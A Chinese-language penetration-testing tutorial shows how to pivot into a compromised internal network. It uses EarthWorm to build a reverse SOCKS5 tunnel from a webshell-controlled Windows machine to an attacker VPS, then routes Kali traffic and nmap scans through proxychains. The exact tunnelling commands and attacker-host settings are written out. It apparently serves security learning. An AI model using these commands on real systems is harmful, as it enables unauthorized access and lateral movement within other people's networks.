基礎知識
內網穿透工具:EW(EarthWorm)
下載地址: https://github.com/idlefire/ew
本文介紹:
- 如何使用EW做反向Socks5代理
- 瀏覽器如何設置Socks5代理訪問目標內網Web服務
- 利用proxychains給終端設置Socks5代理(方便將本地命令行工具的流量代理進目標內網)

基礎環境
Kali Linux(Attacker 內網 192.168.23.133)后面簡稱攻擊機器
Ubuntu 16.04.3(Attacker 公網 144.168.57.70)后面簡稱公網機器
Windows 10(Victim 目標內網 10.74.155.39)后面簡稱目標機器
網絡拓撲:Kali Linux是我本地的一台虛擬機,Ubuntu是公網上的一台 vps,Windows 10 是目標機器,內網IP,部分端口映射到外網,可以訪問公網。
場景模擬
現在已拿到目標內網一台機器的權限(該機器將80端口映射至外網,Web服務存在漏洞,已拿到webshell)。需要對內網做進一步的滲透,目前我有一台公網的Ubuntu,一台內網的Kali,如何反向Socks5將Kali的流量代理進目標內網?
該使用場景為:

使用EW做反向Socks5代理
此處僅演示通過EW做反向Socks5代理,正向、多級級聯的的代理方式可以參考官方文檔。
第1步:在公網的Ubuntu上執行如下命令:
./ew_for_linux64 -s rcsocks -l 1080 -e 1024 &
該命令的意思是說公網機器監聽1080和1024端口。等待攻擊者機器訪問1080端口,目標機器訪問1024端口。

第2步:目標機器執行如下命令:
ew_for_Win.exe -s rssocks -d 144.168.57.70 -e 1024
其中-d參數的值為剛剛的公網IP。

注意這里訪問了 1024 端口。
第3步:攻擊機器Kali通過proxychains或瀏覽器設置Socks5代理訪問目標內網服務
方法一:Kali 瀏覽器設置Socks5代理

隨便在我windows上面開一個web服務:
phpstudy 開一個 Apache:

此時已可以通過Kali攻擊機器的瀏覽器訪問目標內網的Web服務:

方法二:使用proxychains給終端設置Socks5代理
第1步:下載及安裝proxychains
cd /usr/local/src
git clone https://github.com/rofl0r/proxychains-ng.git
cd proxychains-ng
./configure --prefix=/usr --sysconfdir=/etc
make && make install
make install-config
cd .. && rm -rf proxychains-ng

這里一路操作下來暢通無阻,僅截圖部分操作記錄。
第2步:編輯proxychains配置文件設置代理
vi /etc/proxychains.conf
socks5 144.168.57.70 1080

第3步:測試內網穿透是否成功

因為剛剛說過,windows 10目標機器的127.0.0.1為 Apache 服務。
為什么是 proxychains4 這條命令呢?參考:利用proxychains在終端使用socks5代理 - CSDN博客
但是為什么失敗了呢?其實是這里設置錯了。

看命令行的報錯,先通過127.0.0.1的9050端口進行代理,就出錯了。
所以修改/etc/proxychains.conf,把這一行刪掉:

然后訪問使用proxychains代理訪問 127.0.0.1, 就成功了:


這就是 Windows 10 的127.0.0.1。

更進一步:使用proxychains nmap對目標內網掃描
大佬的文章里面提到了通過代理進行nmap掃描:

但是親測使用 kali ip 進行nmap掃描並不對:



可以看出,掃 127.0.0.1 和掃 Kali IP的結果是一樣的,但是和掃windows10主機內網IP的結果不一樣。但是當然是以掃windows10內網IP的結果為准啦。
總結一下:這里 nmap 的 IP 應該為目標機器內網IP。就理解為:nmap已經運行在目標windows10上了,但是掃描的時候不能使用127.0.0.1作為IP,而應該是windows10的內網IP。(而且掃描不能用半連接)。
但是前面使用了proxychains代理連,結果本應該是一樣的(127.0.0.1和內網IP都指向一個地方),這可能是因為nmap走代理有問題,也就是大佬文中提到的“有的工具流量不走sock5代理,就很尷尬,具體原因不詳”。
但是歸根結底要使用目標機器的內網IP的,因為有的時候我們還得掃網段。這個代理之后就相當於:
代理架構好了之后,我本地走的代理,理解為我的nmap是運行於目標機器上,但是掃描的IP不能是127.0.0.1,而是目標機器的內網ip。換句話說,就相當於我的這台Kali就是目標機器了(流量層面),就相當於我這台Kali已經在目標內網中了。
但是 @從心開始 群里的大神們說(感謝這群一直耐心教導我的師傅們),不建議通過代理掃描,動靜大、速度慢、不穩定、時間長、容易斷。
建議的方法,丟一個小工具到目標主機上掃(可以nc丟),或者自己寫工具。小工具推薦為:portqry 或者有個很好的掃windows的叫runfinger(一半端口掃描借助powershell或/dev/tcp);hbscan;python寫的小工具;ms的queryport......
至於為什么放着現成的工具不用自己寫呢?因為大部分實戰的情況下 並沒有那么好的環境,很多操作都需要自己根據環境來編寫對應的腳本,主要是一個根據環境定制化。nmap體積大動靜大,我們需要更輕量級定制化的工具。
總之內網穿透了就相當於我們的攻擊機器在內網里面了,后面自己發揮......
參考鏈接:
[0] 使用 EW 作 Socks5 代理進行內網滲透,本文的簡書地址
[1] 如何通過EW做Socks5代理進行內網滲透, 網絡安全大事件,童話, 2018年1月10日
[2] 利用proxychains在終端使用socks5代理, CSDN博客,Layne101,2016年9月12日
[3] 滲透技巧——Windows平台運行Masscan和Nmap,3g學生博客,3g學生,2017年7月5日
